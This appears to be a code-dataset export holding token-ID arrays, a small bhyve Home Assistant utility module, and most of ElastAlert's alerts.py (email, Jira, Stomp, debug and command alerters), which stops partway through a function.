13, 5215, 13103, 2111, 2540, 408, 315, 29924, 13, 5215, 12655, 408, 7442, 13, 3166, 2071, 19668, 29889, 4299, 29918, 21731, 1053, 11657, 7974, 15633, 13, 5215, 5839, 280, 13, 3166, 2071, 19668, 29889, 14394, 29918, 1062, 13857, 1053, 360, 919, 12877, 3950, 13, 3166, 2254, 29918, 22100, 1053, 2254, 29918, 22100, 13, 1753, 1667, 7295, 13, 13, 13, 13, 13, 1678, 1060, 29892, 612, 29892, 260, 353, 2254, 29918, 22100, 703, 6995, 29881, 1007, 481, 326, 4983, 29918, 1272, 29914, 481, 29887, 29899, 29881, 1007, 481, 326, 4983, 1159, 13, 1678, 396, 1060, 353, 5159, 13, 1678, 396, 612, 353, 5159, 13, 13, 1678, 396, 363, 474, 29892, 2944, 297, 26985, 29898, 29990, 29896, 1125, 13, 1678, 396, 268, 565, 2944, 2804, 426, 6177, 13, 1678, 396, 308, 1060, 29889, 4397, 29898, 667, 29897, 13, 1678, 396, 308, 612, 29889, 4397, 29898, 29979, 29896, 29961, 29875, 2314, 13, 1678, 396, 308, 260, 29889, 4397, 29898, 29873, 29896, 29961, 29875, 2314, 13, 1678, 363, 474, 297, 3464, 29898, 29900, 29892, 7431, 29898, 29873, 22164, 13, 4706, 2944, 353, 260, 29961, 29875, 29962, 13, 4706, 1596, 29898, 667, 29889, 6360, 29897, 13, 4706, 260, 29961, 29875, 29962, 353, 12865, 29889, 12673, 29898, 667, 29889, 6360, 29892, 29871, 29896, 29892, 29871, 29896, 29897, 13, 13, 1678, 1596, 29898, 29873, 29897, 13, 1678, 1596, 29898, 2435, 29898, 29990, 876, 13, 1678, 9649, 353, 360, 919, 12877, 3950, 580, 13, 1678, 921, 353, 9649, 29889, 9202, 29918, 9067, 29898, 29990, 29897, 13, 1678, 343, 353, 7442, 29889, 294, 2378, 29898, 29979, 29897, 13, 1678, 9631, 353, 7442, 29889, 294, 2378, 29898, 29873, 29897, 13, 1678, 1596, 29898, 2435, 29898, 29990, 876, 13, 13, 1678, 8536, 1169, 353, 25406, 29889, 2230, 29918, 28327, 29918, 14968, 29918, 1688, 29918, 5451, 29898, 13, 4706, 921, 29892, 343, 29892, 9631, 29892, 7945, 29918, 2311, 29922, 29906, 29946, 29892, 1243, 29918, 2311, 29922, 29896, 29892, 3803, 1070, 537, 2433, 10874, 1495, 13, 1678, 12662, 2699, 353, 11117, 29907, 2396, 518, 29900, 29889, 29900, 29900, 29896, 29892, 29871, 29900, 29889, 29900, 29896, 29892, 29871, 29900, 29889, 29896, 29892, 29871, 29896, 29892, 29871, 29896, 29900, 29892, 29871, 29896, 29900, 29900, 29892, 29871, 29896, 29900, 29900, 29900, 12258, 13, 1678, 396, 27313, 263, 5335, 5570, 17983, 13, 1678, 396, 1067, 29888, 353, 11657, 7974, 15633, 29898, 12697, 7597, 29907, 3285, 12662, 2699, 29892, 13850, 29922, 29871, 29945, 29892, 26654, 29922, 525, 29888, 29896, 742, 302, 29918, 9057, 29879, 29922, 29946, 29892, 26952, 29922, 29906, 1723, 13, 1678, 1067, 29888, 353, 22985, 7597, 29907, 29898, 3317, 29918, 1524, 29922, 29896, 29900, 29900, 29900, 29900, 29892, 315, 29922, 29896, 29897, 13, 1678, 396, 1067, 29888, 353, 16968, 2831, 342, 2385, 3709, 580, 13, 1678, 2582, 353, 17983, 29889, 9202, 29918, 27711, 29918, 5504, 29898, 695, 29888, 29892, 334, 23579, 1169, 29897, 13, 13, 1678, 396, 4533, 2582, 13, 1678, 21556, 29889, 2158, 29918, 2527, 10817, 29898, 9902, 29897, 13, 13, 1678, 14770, 353, 25294, 29889, 5317, 29918, 7099, 388, 29898, 9902, 29897, 13, 1678, 14770, 29889, 4294, 580, 13, 13, 13, 13, 1678, 396, 4533, 26524, 29898, 29943, 29896, 29892, 29871, 29906, 29946, 7378, 29897, 408, 263, 5645, 310, 16424, 2264, 975, 931, 13, 1678, 1596, 29898, 2527, 10817, 29889, 1300, 29898, 9902, 29892, 525, 29888, 29896, 8785, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 1667, 580, 13, 2 ]
custom_components/bhyve/util.py
allistermaguire/bhyve-home-assistant
0
124537
<reponame>allistermaguire/bhyve-home-assistant import hashlib from homeassistant.util import dt def orbit_time_to_local_time(timestamp: str): if timestamp is not None: return dt.as_local(dt.parse_datetime(timestamp)) return None def anonymize(device): device["address"] = "REDACTED" device["full_location"] = "REDACTED" device["location"] = "REDACTED" return device def pesudo_id_if_smart_program( device_id, program_id, is_smart_program: bool = False ): """ Compute a pesudo ID to ensure the Smart program has a constant ID for events. Devices with multiple zones can change the `program_id` used by the Smart Watering program based on which zones are included in the program. return: pesudo `program_id` for Smart program, otherwise real `program_id`. """ if is_smart_program: program_id = hashlib.md5( f"{device_id}:smart_program".encode('utf-8') ).hexdigest() return program_id
[ 1, 529, 276, 1112, 420, 29958, 497, 1531, 29885, 10617, 533, 29914, 29890, 5819, 345, 29899, 5184, 29899, 465, 22137, 13, 5215, 6608, 1982, 13, 3166, 3271, 465, 22137, 29889, 4422, 1053, 11636, 13, 13, 13, 1753, 16980, 29918, 2230, 29918, 517, 29918, 2997, 29918, 2230, 29898, 16394, 29901, 851, 1125, 13, 1678, 565, 14334, 338, 451, 6213, 29901, 13, 4706, 736, 11636, 29889, 294, 29918, 2997, 29898, 6008, 29889, 5510, 29918, 12673, 29898, 16394, 876, 13, 1678, 736, 6213, 13, 13, 13, 1753, 385, 4735, 675, 29898, 10141, 1125, 13, 1678, 4742, 3366, 7328, 3108, 353, 376, 1525, 7698, 1783, 3352, 29908, 13, 1678, 4742, 3366, 8159, 29918, 5479, 3108, 353, 376, 1525, 7698, 1783, 3352, 29908, 13, 1678, 4742, 3366, 5479, 3108, 353, 376, 1525, 7698, 1783, 3352, 29908, 13, 1678, 736, 4742, 13, 13, 13, 1753, 8928, 5333, 29918, 333, 29918, 361, 29918, 3844, 442, 29918, 8860, 29898, 13, 1678, 4742, 29918, 333, 29892, 1824, 29918, 333, 29892, 338, 29918, 3844, 442, 29918, 8860, 29901, 6120, 353, 7700, 13, 1125, 13, 1678, 9995, 13, 1678, 11796, 29872, 263, 8928, 5333, 3553, 304, 9801, 278, 4116, 442, 1824, 756, 263, 4868, 3553, 363, 4959, 29889, 13, 13, 1678, 9481, 1575, 411, 2999, 20542, 508, 1735, 278, 421, 8860, 29918, 333, 29952, 1304, 491, 278, 4116, 442, 13, 1678, 13062, 292, 1824, 2729, 373, 607, 20542, 526, 5134, 297, 278, 1824, 29889, 13, 1678, 736, 29901, 8928, 5333, 421, 8860, 29918, 333, 29952, 363, 4116, 442, 1824, 29892, 6467, 1855, 421, 8860, 29918, 333, 1412, 13, 1678, 9995, 13, 1678, 565, 338, 29918, 3844, 442, 29918, 8860, 29901, 13, 4706, 1824, 29918, 333, 353, 6608, 1982, 29889, 3487, 29945, 29898, 13, 9651, 285, 29908, 29912, 10141, 29918, 333, 6177, 3844, 442, 29918, 8860, 1642, 12508, 877, 9420, 29899, 29947, 1495, 13, 4706, 13742, 20970, 7501, 342, 580, 13, 1678, 736, 1824, 29918, 333, 13, 2 ]
elastalert/alerts.py
dekhrekh/elastalert
0
1472
<filename>elastalert/alerts.py<gh_stars>0 # -*- coding: utf-8 -*- import copy import datetime import json import logging import subprocess import sys import warnings from email.mime.text import MIMEText from email.utils import formatdate from smtplib import SMTP from smtplib import SMTP_SSL from smtplib import SMTPAuthenticationError from smtplib import SMTPException from socket import error import boto3 import requests import stomp from exotel import Exotel from jira.client import JIRA from jira.exceptions import JIRAError from requests.exceptions import RequestException from staticconf.loader import yaml_loader from texttable import Texttable from twilio.base.exceptions import TwilioRestException from twilio.rest import Client as TwilioClient from util import EAException from util import elastalert_logger from util import lookup_es_key from util import pretty_ts from util import ts_now from util import ts_to_dt class DateTimeEncoder(json.JSONEncoder): def default(self, obj): if hasattr(obj, 'isoformat'): return obj.isoformat() else: return json.JSONEncoder.default(self, obj) class BasicMatchString(object): """ Creates a string containing fields in match for the given rule. """ def __init__(self, rule, match): self.rule = rule self.match = match def _ensure_new_line(self): while self.text[-2:] != '\n\n': self.text += '\n' def _add_custom_alert_text(self): missing = '<MISSING VALUE>' alert_text = unicode(self.rule.get('alert_text', '')) if 'alert_text_args' in self.rule: alert_text_args = self.rule.get('alert_text_args') alert_text_values = [lookup_es_key(self.match, arg) for arg in alert_text_args] # Support referencing other top-level rule properties # This technically may not work if there is a top-level rule property with the same name # as an es result key, since it would have been matched in the lookup_es_key call above for i in xrange(len(alert_text_values)): if alert_text_values[i] is None: alert_value = self.rule.get(alert_text_args[i]) if alert_value: alert_text_values[i] = alert_value alert_text_values = [missing if val is None else val for val in alert_text_values] alert_text = alert_text.format(*alert_text_values) elif 'alert_text_kw' in self.rule: kw = {} for name, kw_name in self.rule.get('alert_text_kw').items(): val = lookup_es_key(self.match, name) # Support referencing other top-level rule properties # This technically may not work if there is a top-level rule property with the same name # as an es result key, since it would have been matched in the lookup_es_key call above if val is None: val = self.rule.get(name) kw[kw_name] = missing if val is None else val alert_text = alert_text.format(**kw) self.text += alert_text def _add_rule_text(self): self.text += self.rule['type'].get_match_str(self.match) def _add_top_counts(self): for key, counts in self.match.items(): if key.startswith('top_events_'): self.text += '%s:\n' % (key[11:]) top_events = counts.items() if not top_events: self.text += 'No events found.\n' else: top_events.sort(key=lambda x: x[1], reverse=True) for term, count in top_events: self.text += '%s: %s\n' % (term, count) self.text += '\n' def _add_match_items(self): match_items = self.match.items() match_items.sort(key=lambda x: x[0]) for key, value in match_items: if key.startswith('top_events_'): continue value_str = unicode(value) value_str.replace('\\n', '\n') if type(value) in [list, dict]: try: value_str = self._pretty_print_as_json(value) except TypeError: # Non serializable object, fallback to str pass self.text += '%s: %s\n' % (key, value_str) def _pretty_print_as_json(self, blob): try: return json.dumps(blob, cls=DateTimeEncoder, sort_keys=True, indent=4, ensure_ascii=False) except UnicodeDecodeError: # This blob contains non-unicode, so lets pretend it's Latin-1 to show something return json.dumps(blob, cls=DateTimeEncoder, sort_keys=True, indent=4, encoding='Latin-1', ensure_ascii=False) def __str__(self): self.text = '' if 'alert_text' not in self.rule: self.text += self.rule['name'] + '\n\n' self._add_custom_alert_text() self._ensure_new_line() if self.rule.get('alert_text_type') != 'alert_text_only': self._add_rule_text() self._ensure_new_line() if self.rule.get('top_count_keys'): self._add_top_counts() if self.rule.get('alert_text_type') != 'exclude_fields': self._add_match_items() return self.text class JiraFormattedMatchString(BasicMatchString): def _add_match_items(self): match_items = dict([(x, y) for x, y in self.match.items() if not x.startswith('top_events_')]) json_blob = self._pretty_print_as_json(match_items) preformatted_text = u'{{code:json}}{0}{{code}}'.format(json_blob) self.text += preformatted_text class Alerter(object): """ Base class for types of alerts. :param rule: The rule configuration. """ required_options = frozenset([]) def __init__(self, rule): self.rule = rule # pipeline object is created by ElastAlerter.send_alert() # and attached to each alerters used by a rule before calling alert() self.pipeline = None self.resolve_rule_references(self.rule) def resolve_rule_references(self, root): # Support referencing other top-level rule properties to avoid redundant copy/paste if type(root) == list: # Make a copy since we may be modifying the contents of the structure we're walking for i, item in enumerate(copy.copy(root)): if type(item) == dict or type(item) == list: self.resolve_rule_references(root[i]) else: root[i] = self.resolve_rule_reference(item) elif type(root) == dict: # Make a copy since we may be modifying the contents of the structure we're walking for key, value in root.copy().iteritems(): if type(value) == dict or type(value) == list: self.resolve_rule_references(root[key]) else: root[key] = self.resolve_rule_reference(value) def resolve_rule_reference(self, value): strValue = unicode(value) if strValue.startswith('$') and strValue.endswith('$') and strValue[1:-1] in self.rule: if type(value) == int: return int(self.rule[strValue[1:-1]]) else: return self.rule[strValue[1:-1]] else: return value def alert(self, match): """ Send an alert. Match is a dictionary of information about the alert. :param match: A dictionary of relevant information to the alert. """ raise NotImplementedError() def get_info(self): """ Returns a dictionary of data related to this alert. At minimum, this should contain a field type corresponding to the type of Alerter. """ return {'type': 'Unknown'} def create_title(self, matches): """ Creates custom alert title to be used, e.g. as an e-mail subject or JIRA issue summary. :param matches: A list of dictionaries of relevant information to the alert. """ if 'alert_subject' in self.rule: return self.create_custom_title(matches) return self.create_default_title(matches) def create_custom_title(self, matches): alert_subject = unicode(self.rule['alert_subject']) if 'alert_subject_args' in self.rule: alert_subject_args = self.rule['alert_subject_args'] alert_subject_values = [lookup_es_key(matches[0], arg) for arg in alert_subject_args] # Support referencing other top-level rule properties # This technically may not work if there is a top-level rule property with the same name # as an es result key, since it would have been matched in the lookup_es_key call above for i in xrange(len(alert_subject_values)): if alert_subject_values[i] is None: alert_value = self.rule.get(alert_subject_args[i]) if alert_value: alert_subject_values[i] = alert_value alert_subject_values = ['<MISSING VALUE>' if val is None else val for val in alert_subject_values] return alert_subject.format(*alert_subject_values) return alert_subject def create_alert_body(self, matches): body = self.get_aggregation_summary_text(matches) for match in matches: body += unicode(BasicMatchString(self.rule, match)) # Separate text of aggregated alerts with dashes if len(matches) > 1: body += '\n----------------------------------------\n' return body def get_aggregation_summary_text(self, matches): text = '' if 'aggregation' in self.rule and 'summary_table_fields' in self.rule: summary_table_fields = self.rule['summary_table_fields'] if not isinstance(summary_table_fields, list): summary_table_fields = [summary_table_fields] # Include a count aggregation so that we can see at a glance how many of each aggregation_key were encountered summary_table_fields_with_count = summary_table_fields + ['count'] text += "Aggregation resulted in the following data for summary_table_fields ==> {0}:\n\n".format( summary_table_fields_with_count ) text_table = Texttable() text_table.header(summary_table_fields_with_count) match_aggregation = {} # Maintain an aggregate count for each unique key encountered in the aggregation period for match in matches: key_tuple = tuple([unicode(lookup_es_key(match, key)) for key in summary_table_fields]) if key_tuple not in match_aggregation: match_aggregation[key_tuple] = 1 else: match_aggregation[key_tuple] = match_aggregation[key_tuple] + 1 for keys, count in match_aggregation.iteritems(): text_table.add_row([key for key in keys] + [count]) text += text_table.draw() + '\n\n' return unicode(text) def create_default_title(self, matches): return self.rule['name'] def get_account(self, account_file): """ Gets the username and password from an account file. :param account_file: Name of the file which contains user and password information. """ account_conf = yaml_loader(account_file) if 'user' not in account_conf or 'password' not in account_conf: raise EAException('Account file must have user and password fields') self.user = account_conf['user'] self.password = account_conf['password'] class StompAlerter(Alerter): """ The stomp alerter publishes alerts via stomp to a broker. """ required_options = frozenset(['stomp_hostname', 'stomp_hostport', 'stomp_login', 'stomp_password']) def alert(self, matches): alerts = [] qk = self.rule.get('query_key', None) fullmessage = {} for match in matches: if qk in match: elastalert_logger.info( 'Alert for %s, %s at %s:' % (self.rule['name'], match[qk], lookup_es_key(match, self.rule['timestamp_field']))) alerts.append( '1)Alert for %s, %s at %s:' % (self.rule['name'], match[qk], lookup_es_key(match, self.rule['timestamp_field'])) ) fullmessage['match'] = match[qk] else: elastalert_logger.info('Alert for %s at %s:' % (self.rule['name'], lookup_es_key(match, self.rule['timestamp_field']))) alerts.append( '2)Alert for %s at %s:' % (self.rule['name'], lookup_es_key(match, self.rule['timestamp_field'])) ) fullmessage['match'] = lookup_es_key(match, self.rule['timestamp_field']) elastalert_logger.info(unicode(BasicMatchString(self.rule, match))) fullmessage['alerts'] = alerts fullmessage['rule'] = self.rule['name'] fullmessage['matching'] = unicode(BasicMatchString(self.rule, match)) fullmessage['alertDate'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") fullmessage['body'] = self.create_alert_body(matches) self.stomp_hostname = self.rule.get('stomp_hostname', 'localhost') self.stomp_hostport = self.rule.get('stomp_hostport', '61613') self.stomp_login = self.rule.get('stomp_login', 'admin') self.stomp_password = self.rule.get('stomp_password', '<PASSWORD>') self.stomp_destination = self.rule.get('stomp_destination', '/queue/ALERT') conn = stomp.Connection([(self.stomp_hostname, self.stomp_hostport)]) conn.start() conn.connect(self.stomp_login, self.stomp_password) conn.send(self.stomp_destination, json.dumps(fullmessage)) conn.disconnect() def get_info(self): return {'type': 'stomp'} class DebugAlerter(Alerter): """ The debug alerter uses a Python logger (by default, alerting to terminal). """ def alert(self, matches): qk = self.rule.get('query_key', None) for match in matches: if qk in match: elastalert_logger.info( 'Alert for %s, %s at %s:' % (self.rule['name'], match[qk], lookup_es_key(match, self.rule['timestamp_field']))) else: elastalert_logger.info('Alert for %s at %s:' % (self.rule['name'], lookup_es_key(match, self.rule['timestamp_field']))) elastalert_logger.info(unicode(BasicMatchString(self.rule, match))) def get_info(self): return {'type': 'debug'} class EmailAlerter(Alerter): """ Sends an email alert """ required_options = frozenset(['email']) def __init__(self, *args): super(EmailAlerter, self).__init__(*args) self.smtp_host = self.rule.get('smtp_host', 'localhost') self.smtp_ssl = self.rule.get('smtp_ssl', False) self.from_addr = self.rule.get('from_addr', 'ElastAlert') self.smtp_port = self.rule.get('smtp_port') if self.rule.get('smtp_auth_file'): self.get_account(self.rule['smtp_auth_file']) self.smtp_key_file = self.rule.get('smtp_key_file') self.smtp_cert_file = self.rule.get('smtp_cert_file') # Convert email to a list if it isn't already if isinstance(self.rule['email'], basestring): self.rule['email'] = [self.rule['email']] # If there is a cc then also convert it a list if it isn't cc = self.rule.get('cc') if cc and isinstance(cc, basestring): self.rule['cc'] = [self.rule['cc']] # If there is a bcc then also convert it to a list if it isn't bcc = self.rule.get('bcc') if bcc and isinstance(bcc, basestring): self.rule['bcc'] = [self.rule['bcc']] add_suffix = self.rule.get('email_add_domain') if add_suffix and not add_suffix.startswith('@'): self.rule['email_add_domain'] = '@' + add_suffix def alert(self, matches): body = self.create_alert_body(matches) # Add JIRA ticket if it exists if self.pipeline is not None and 'jira_ticket' in self.pipeline: url = '%s/browse/%s' % (self.pipeline['jira_server'], self.pipeline['jira_ticket']) body += '\nJIRA ticket: %s' % (url) to_addr = self.rule['email'] if 'email_from_field' in self.rule: recipient = lookup_es_key(matches[0], self.rule['email_from_field']) if isinstance(recipient, basestring): if '@' in recipient: to_addr = [recipient] elif 'email_add_domain' in self.rule: to_addr = [recipient + self.rule['email_add_domain']] elif isinstance(recipient, list): to_addr = recipient if 'email_add_domain' in self.rule: to_addr = [name + self.rule['email_add_domain'] for name in to_addr] email_msg = MIMEText(body.encode('UTF-8'), _charset='UTF-8') email_msg['Subject'] = self.create_title(matches) email_msg['To'] = ', '.join(to_addr) email_msg['From'] = self.from_addr email_msg['Reply-To'] = self.rule.get('email_reply_to', email_msg['To']) email_msg['Date'] = formatdate() if self.rule.get('cc'): email_msg['CC'] = ','.join(self.rule['cc']) to_addr = to_addr + self.rule['cc'] if self.rule.get('bcc'): to_addr = to_addr + self.rule['bcc'] try: if self.smtp_ssl: if self.smtp_port: self.smtp = SMTP_SSL(self.smtp_host, self.smtp_port, keyfile=self.smtp_key_file, certfile=self.smtp_cert_file) else: self.smtp = SMTP_SSL(self.smtp_host, keyfile=self.smtp_key_file, certfile=self.smtp_cert_file) else: if self.smtp_port: self.smtp = SMTP(self.smtp_host, self.smtp_port) else: self.smtp = SMTP(self.smtp_host) self.smtp.ehlo() if self.smtp.has_extn('STARTTLS'): self.smtp.starttls(keyfile=self.smtp_key_file, certfile=self.smtp_cert_file) if 'smtp_auth_file' in self.rule: self.smtp.login(self.user, self.password) except (SMTPException, error) as e: raise EAException("Error connecting to SMTP host: %s" % (e)) except SMTPAuthenticationError as e: raise EAException("SMTP username/password rejected: %s" % (e)) self.smtp.sendmail(self.from_addr, to_addr, email_msg.as_string()) self.smtp.close() elastalert_logger.info("Sent email to %s" % (to_addr)) def create_default_title(self, matches): subject = 'ElastAlert: %s' % (self.rule['name']) # If the rule has a query_key, add that value plus timestamp to subject if 'query_key' in self.rule: qk = matches[0].get(self.rule['query_key']) if qk: subject += ' - %s' % (qk) return subject def get_info(self): return {'type': 'email', 'recipients': self.rule['email']} class JiraAlerter(Alerter): """ Creates a Jira ticket for each alert """ required_options = frozenset(['jira_server', 'jira_account_file', 'jira_project', 'jira_issuetype']) # Maintain a static set of built-in fields that we explicitly know how to set # For anything else, we will do best-effort and try to set a string value known_field_list = [ 'jira_account_file', 'jira_assignee', 'jira_bump_after_inactivity', 'jira_bump_in_statuses', 'jira_bump_not_in_statuses', 'jira_bump_tickets', 'jira_component', 'jira_components', 'jira_description', 'jira_ignore_in_title', 'jira_issuetype', 'jira_label', 'jira_labels', 'jira_max_age', 'jira_priority', 'jira_project', 'jira_server', 'jira_watchers', ] # Some built-in jira types that can be used as custom fields require special handling # Here is a sample of one of them: # {"id":"customfield_12807","name":"My Custom Field","custom":true,"orderable":true,"navigable":true,"searchable":true, # "clauseNames":["cf[12807]","My Custom Field"],"schema":{"type":"array","items":"string", # "custom":"com.atlassian.jira.plugin.system.customfieldtypes:multiselect","customId":12807}} # There are likely others that will need to be updated on a case-by-case basis custom_string_types_with_special_handling = [ 'com.atlassian.jira.plugin.system.customfieldtypes:multicheckboxes', 'com.atlassian.jira.plugin.system.customfieldtypes:multiselect', 'com.atlassian.jira.plugin.system.customfieldtypes:radiobuttons', ] def __init__(self, rule): super(JiraAlerter, self).__init__(rule) self.server = self.rule['jira_server'] self.get_account(self.rule['jira_account_file']) self.project = self.rule['jira_project'] self.issue_type = self.rule['jira_issuetype'] # We used to support only a single component. This allows us to maintain backwards compatibility # while also giving the user-facing API a more representative name self.components = self.rule.get('jira_components', self.rule.get('jira_component')) # We used to support only a single label. This allows us to maintain backwards compatibility # while also giving the user-facing API a more representative name self.labels = self.rule.get('jira_labels', self.rule.get('jira_label')) self.description = self.rule.get('jira_description', '') self.assignee = self.rule.get('jira_assignee') self.max_age = self.rule.get('jira_max_age', 30) self.priority = self.rule.get('jira_priority') self.bump_tickets = self.rule.get('jira_bump_tickets', False) self.bump_not_in_statuses = self.rule.get('jira_bump_not_in_statuses') self.bump_in_statuses = self.rule.get('jira_bump_in_statuses') self.bump_after_inactivity = self.rule.get('jira_bump_after_inactivity', self.max_age) self.watchers = self.rule.get('jira_watchers') if self.bump_in_statuses and self.bump_not_in_statuses: msg = 'Both jira_bump_in_statuses (%s) and jira_bump_not_in_statuses (%s) are set.' % \ (','.join(self.bump_in_statuses), ','.join(self.bump_not_in_statuses)) intersection = list(set(self.bump_in_statuses) & set(self.bump_in_statuses)) if intersection: msg = '%s Both have common statuses of (%s). As such, no tickets will ever be found.' % ( msg, ','.join(intersection)) msg += ' This should be simplified to use only one or the other.' logging.warning(msg) self.jira_args = {'project': {'key': self.project}, 'issuetype': {'name': self.issue_type}} if self.components: # Support single component or list if type(self.components) != list: self.jira_args['components'] = [{'name': self.components}] else: self.jira_args['components'] = [{'name': component} for component in self.components] if self.labels: # Support single label or list if type(self.labels) != list: self.labels = [self.labels] self.jira_args['labels'] = self.labels if self.watchers: # Support single watcher or list if type(self.watchers) != list: self.watchers = [self.watchers] if self.assignee: self.jira_args['assignee'] = {'name': self.assignee} try: self.client = JIRA(self.server, basic_auth=(self.user, self.password)) self.get_priorities() self.get_arbitrary_fields() except JIRAError as e: # JIRAError may contain HTML, pass along only first 1024 chars raise EAException("Error connecting to JIRA: %s" % (str(e)[:1024])) try: if self.priority is not None: self.jira_args['priority'] = {'id': self.priority_ids[self.priority]} except KeyError: logging.error("Priority %s not found. Valid priorities are %s" % (self.priority, self.priority_ids.keys())) def get_arbitrary_fields(self): # This API returns metadata about all the fields defined on the jira server (built-ins and custom ones) fields = self.client.fields() for jira_field, value in self.rule.iteritems(): # If we find a field that is not covered by the set that we are aware of, it means it is either: # 1. A built-in supported field in JIRA that we don't have on our radar # 2. A custom field that a JIRA admin has configured if jira_field.startswith('jira_') and jira_field not in self.known_field_list: # Remove the jira_ part. Convert underscores to spaces normalized_jira_field = jira_field[5:].replace('_', ' ').lower() # All jira fields should be found in the 'id' or the 'name' field. Therefore, try both just in case for identifier in ['name', 'id']: field = next((f for f in fields if normalized_jira_field == f[identifier].replace('_', ' ').lower()), None) if field: break if not field: # Log a warning to ElastAlert saying that we couldn't find that type? # OR raise and fail to load the alert entirely? Probably the latter... raise Exception("Could not find a definition for the jira field '{0}'".format(normalized_jira_field)) arg_name = field['id'] # Check the schema information to decide how to set the value correctly # If the schema information is not available, raise an exception since we don't know how to set it # Note this is only the case for two built-in types, id: issuekey and id: thumbnail if not ('schema' in field or 'type' in field['schema']): raise Exception("Could not determine schema information for the jira field '{0}'".format(normalized_jira_field)) arg_type = field['schema']['type'] # Handle arrays of simple types like strings or numbers if arg_type == 'array': # As a convenience, support the scenario wherein the user only provides # a single value for a multi-value field e.g. jira_labels: Only_One_Label if type(value) != list: value = [value] array_items = field['schema']['items'] # Simple string types if array_items in ['string', 'date', 'datetime']: # Special case for multi-select custom types (the JIRA metadata says that these are strings, but # in reality, they are required to be provided as an object. if 'custom' in field['schema'] and field['schema']['custom'] in self.custom_string_types_with_special_handling: self.jira_args[arg_name] = [{'value': v} for v in value] else: self.jira_args[arg_name] = value elif array_items == 'number': self.jira_args[arg_name] = [int(v) for v in value] # Also attempt to handle arrays of complex types that have to be passed as objects with an identifier 'key' elif array_items == 'option': self.jira_args[arg_name] = [{'value': v} for v in value] else: # Try setting it as an object, using 'name' as the key # This may not work, as the key might actually be 'key', 'id', 'value', or something else # If it works, great! If not, it will manifest itself as an API error that will bubble up self.jira_args[arg_name] = [{'name': v} for v in value] # Handle non-array types else: # Simple string types if arg_type in ['string', 'date', 'datetime']: # Special case for custom types (the JIRA metadata says that these are strings, but # in reality, they are required to be provided as an object. if 'custom' in field['schema'] and field['schema']['custom'] in self.custom_string_types_with_special_handling: self.jira_args[arg_name] = {'value': value} else: self.jira_args[arg_name] = value # Number type elif arg_type == 'number': self.jira_args[arg_name] = int(value) elif arg_type == 'option': self.jira_args[arg_name] = {'value': value} # Complex type else: self.jira_args[arg_name] = {'name': value} def get_priorities(self): """ Creates a mapping of priority index to id. """ priorities = self.client.priorities() self.priority_ids = {} for x in range(len(priorities)): self.priority_ids[x] = priorities[x].id def set_assignee(self, assignee): self.assignee = assignee if assignee: self.jira_args['assignee'] = {'name': assignee} elif 'assignee' in self.jira_args: self.jira_args.pop('assignee') def find_existing_ticket(self, matches): # Default title, get stripped search version if 'alert_subject' not in self.rule: title = self.create_default_title(matches, True) else: title = self.create_title(matches) if 'jira_ignore_in_title' in self.rule: title = title.replace(matches[0].get(self.rule['jira_ignore_in_title'], ''), '') # This is necessary for search to work. Other special characters and dashes # directly adjacent to words appear to be ok title = title.replace(' - ', ' ') title = title.replace('\\', '\\\\') date = (datetime.datetime.now() - datetime.timedelta(days=self.max_age)).strftime('%Y-%m-%d') jql = 'project=%s AND summary~"%s" and created >= "%s"' % (self.project, title, date) if self.bump_in_statuses: jql = '%s and status in (%s)' % (jql, ','.join(self.bump_in_statuses)) if self.bump_not_in_statuses: jql = '%s and status not in (%s)' % (jql, ','.join(self.bump_not_in_statuses)) try: issues = self.client.search_issues(jql) except JIRAError as e: logging.exception("Error while searching for JIRA ticket using jql '%s': %s" % (jql, e)) return None if len(issues): return issues[0] def comment_on_ticket(self, ticket, match): text = unicode(JiraFormattedMatchString(self.rule, match)) timestamp = pretty_ts(lookup_es_key(match, self.rule['timestamp_field'])) comment = "This alert was triggered again at %s\n%s" % (timestamp, text) self.client.add_comment(ticket, comment) def alert(self, matches): title = self.create_title(matches) if self.bump_tickets: ticket = self.find_existing_ticket(matches) if ticket: inactivity_datetime = ts_now() - datetime.timedelta(days=self.bump_after_inactivity) if ts_to_dt(ticket.fields.updated) >= inactivity_datetime: if self.pipeline is not None: self.pipeline['jira_ticket'] = None self.pipeline['jira_server'] = self.server return None elastalert_logger.info('Commenting on existing ticket %s' % (ticket.key)) for match in matches: try: self.comment_on_ticket(ticket, match) except JIRAError as e: logging.exception("Error while commenting on ticket %s: %s" % (ticket, e)) if self.pipeline is not None: self.pipeline['jira_ticket'] = ticket self.pipeline['jira_server'] = self.server return None self.jira_args['summary'] = title self.jira_args['description'] = self.create_alert_body(matches) try: self.issue = self.client.create_issue(**self.jira_args) # You can not add watchers on initial creation. Only as a follow-up action if self.watchers: for watcher in self.watchers: try: self.client.add_watcher(self.issue.key, watcher) except Exception as ex: # Re-raise the exception, preserve the stack-trace, and give some # context as to which watcher failed to be added raise Exception( "Exception encountered when trying to add '{0}' as a watcher. Does the user exist?\n{1}" .format( watcher, ex )), None, sys.exc_info()[2] except JIRAError as e: raise EAException("Error creating JIRA ticket using jira_args (%s): %s" % (self.jira_args, e)) elastalert_logger.info("Opened Jira ticket: %s" % (self.issue)) if self.pipeline is not None: self.pipeline['jira_ticket'] = self.issue self.pipeline['jira_server'] = self.server def create_alert_body(self, matches): body = self.description + '\n' body += self.get_aggregation_summary_text(matches) for match in matches: body += unicode(JiraFormattedMatchString(self.rule, match)) if len(matches) > 1: body += '\n----------------------------------------\n' return body def get_aggregation_summary_text(self, matches): text = super(JiraAlerter, self).get_aggregation_summary_text(matches) if text: text = u'{{noformat}}{0}{{noformat}}'.format(text) return text def create_default_title(self, matches, for_search=False): # If there is a query_key, use that in the title if 'query_key' in self.rule and lookup_es_key(matches[0], self.rule['query_key']): title = 'ElastAlert: %s matched %s' % (lookup_es_key(matches[0], self.rule['query_key']), self.rule['name']) else: title = 'ElastAlert: %s' % (self.rule['name']) if for_search: return title title += ' - %s' % (pretty_ts(matches[0][self.rule['timestamp_field']], self.rule.get('use_local_time'))) # Add count for spikes count = matches[0].get('spike_count') if count: title += ' - %s+ events' % (count) return title def get_info(self): return {'type': 'jira'} class CommandAlerter(Alerter): required_options = set(['command']) def __init__(self, *args): super(CommandAlerter, self).__init__(*args) self.last_command = [] self.shell = False if isinstance(self.rule['command'], basestring): self.shell = True if '%' in self.rule['command']: logging.warning('Warning! You could be vulnerable to shell injection!') self.rule['command'] = [self.rule['command']] self.new_style_string_format = False if 'new_style_string_format' in self.rule and self.rule['new_style_string_format']: self.new_style_string_format = True def alert(self, matches): # Format the command and arguments try: if 